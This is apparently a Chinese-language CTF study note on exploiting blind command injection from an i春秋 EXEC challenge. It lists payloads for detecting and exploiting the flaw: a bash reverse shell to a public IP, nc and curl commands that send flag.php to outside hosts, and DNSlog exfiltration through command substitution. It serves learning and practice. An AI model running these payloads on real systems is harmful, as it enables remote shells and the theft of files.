命令执行没有回显利用
来自:i春秋的一道命令执行题(EXEC)
自己之前没有遇到过,根据师傅们发的博客,自己进行了总结。
1.判断命令执行有没有回显
方法1.
根据代码逻辑
方法2.
根据延时cmd=ls|sleep 5
方法3.
HTTP请求(ping命令不会产生http请求)
自己公网服务器使用nc -lp 8888
来开起监听
目标服务器cmd=curl ip:8888
方法4.
DNS请求(dnslog)
2.如何利用
方法1.
使用cp 命令cp flag.php 1.txt
然后访问(该方法简单,但是可能禁止使用cp命令)
方法2.
DNSLOG获取回显
cmd=curl `命令`.域名
方法3.
反弹shell
自己公网服务器nc -vv -lp 8888
目标服务器:cmd=bash+-i+>&+/dev/tcp/47.95.206.199/8888+0>&1
方法4.
使用nc
自己公网服务器nc -ulp 8888
目标服务器:cmd=nc -u 47.94.35.59 8888 < flag.php
(要求目标服务器也有nc工具,-u参数调整为udp,当tcp不能使用的时候使用)
方法5.
curl上传文件读取源码
该方法只需要有burpsuite就可以实现
原理:使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)。
获取Collaborator Client分配给BURP的链接:
Copy打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard
粘贴出来大概这样:XXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net
目标服务器:cmd=curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
这里我使用exec的题来演示。
参考
https://blog.csdn.net/anquanniu/article/details/102641702?utm_source=app
http://www.admintony.com/无回显代码执行利用方法.html